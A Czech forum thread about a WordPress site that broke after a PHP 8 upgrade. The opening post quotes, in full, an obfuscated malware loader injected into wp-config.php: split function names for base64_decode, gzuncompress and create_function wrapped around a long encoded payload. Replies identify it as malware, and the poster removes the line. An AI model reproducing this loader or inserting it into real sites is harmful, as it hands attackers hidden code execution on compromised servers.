WordPress - Fatal Error po upgrade na PHP 8
Dobrý den,
Jeden firemní web přestal fungovat po upgrade PHP 7.0.X - 8.0.X. Občas se to stane kvůli špatné kompatibilitě z některých z pluginůn. Jenže, tady hlásí zcela jinou chybu
Fatal error: Uncaught Error: Call to undefined function create_function() in /www/doc/www.pradakos.cz/www/wp-config.php:65 Stack trace: #0 /www/doc/www.pradakos.cz/www/wp-load.php(50): require_once() #1 /www/doc/www.pradakos.cz/www/wp-blog-header.php(13): require_once('/www/doc/www.pr...') #2 /www/doc/www.pradakos.cz/www/index.php(17): require('/www/doc/www.pr...') #3 {main} thrown in /www/doc/www.pradakos.cz/www/wp-config.php on line 65
Na tomto řádku se nachází kód
$bfd0fd = 'bas' . 'e64_dec' . 'ode'; $c98cae = 'crea' . 'te_fun' . 'ction'; $g926cd = 'gz' . 'unc' . 'ompress'; $fef80e = $c98cae('', $g926cd($bfd0fd('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'))); $fef80e();
Každopádně, je to jenom hromada kódu, ze kterého vůbec není patrné, jak to spravit.
Prosím o radu
Děkuji
Prozradíš verzi Wordpressu?
Pochopitelně aktuální (5.8).
Kdyby to bylo tak pochopitelný, tak bych se neptal.
Aktualizaci WordPress jsem provedl ještě před upgradem PHP a proběhla bez problému. A ostatní weby fungují v pořádku, tak nevím, co je zrovna zde špatně.
Ostatní weby jsou na stejném hostingu/serveru?
Ano, všechny jsou na Active24
Neptal jsem se, jestli jsou u stejného webhostera, ale na stejném serveru? To je rozdíl.
Pro jistotu bych porovnal výpisy konfigurací - příkaz phpinfo().
Ale jak zavolám phpinfo(), když web není lokální a žádný plugin taky použít nemůžu?
Vytvoříš php skript s tím příkazem, nahraješ na server a otevřeš v prohlížeči.
Trochu jsem se na to díval.
PHP používá ke spojování řetězců operátor . (tečka).
Šlo by to zapsat:
V tom prvním Stack trace ti píše, že se mají includovat soubory na dané cestě, které asi tuto funkci obsahují.
Ale protože se tam vytvořila špatná cesta, tak se nenajdou.
Kdybych měl hádat:
/www/doc/www.pradakos.cz/www/wp-load.php(50):
Obsahuje 2x www, což je divné.
Zkrátka jsou tam nejspíše špatné cesty po aktualizaci.
Jako wp nepoužívám. Jen mě tak napadlo. Když se na to kouknu, tak to spíš vypadá jak nějaký php kód malware 😊 (jako co jinýho než malware může maskovat rozkládáním názvy funkcí používaných v malware jako base64_decode, gzuncompress, create_function...)
Co tak požádat toho tvůrce malwaru aby přidal kompatibilitu i pro PHP 8? 😈
Jak tak koukám create_function použitý na tvém řádku je v PHP 8 REMOVED:
https://www.php.net/manual/en/function.create-function.php
Po base64_decode a gzuncompress je ten php kód v té funkci tady ten co jsem dal do code, tak jestli ho tam jako chceš furt mít tak ho tam zkus dát přímo, nezkoušel jsem jestli je to na PHP 8 funkční 😊 a jak jsem psal, vypadá to na malware.
Ano, máte pravdu. Dekódovaný kód jsem zapomněl do zadání vložit, z kterého je patrné, že se jedná o malware.
Řešení bylo neuvěřitelně jednoduché. Stačilo problémový řádek z wp-config.php smazat. Přesto bych doporučil naistalovat nějaký plugin proti malware - použil jsem WP Cerber Security, Anti-spam & Malware Scan
Přesto, děkuji všem
Pokud se někdo stará o "firemní web" a po chybě "undefined function create_function()" není schopen si vygooglit "php create_function" a zjistit, že ta funkce je REMOVED, tak to je na double facepalm.
Pokud se někdo stará o "firemní web" a v kódu jsou maskovány rozkládáním názvy funkcí base64_decode, gzuncompress, create_function (to co máš v úvodním příspěvku) a nenapadne ho, že se bude jednat o malware, tak to je na double facepalm.
Pokud se někdo stará o "firemní web" a napadení řeší "neuvěřitelně jednoduše" tak, že pouze smaže zjištěný řádek, tak to je na double facepalm.
Já bych tomu firemnímu webu doporučil jednak aby se jim o to staral někdo rozumný, kdo v tom aspoň trošku vyzná.
Nejsem profesionální php programátor, nejsem profesionální správce webů a přesto jsem hned věděl v čem je problém a jak jej řešit. A podle mě je to celé na double facepalm. Já kdybych potřeboval firemní poradenství, virtuální kancelář nebo co ten web pradakos.cz nabízí, tak určitě si to nepořídím u nich, mi to přijde, že s nima je potřeba sdílet citlivé informace a pokud mají napadenej web a řeší to jo, smazat řádek a nahodí se plugin... tak jako fakt ne, brrr...
No ten človek nevie zobraziť ani to phpinfo. Či už facepalm alebo nie, tak či tak je to tragédia.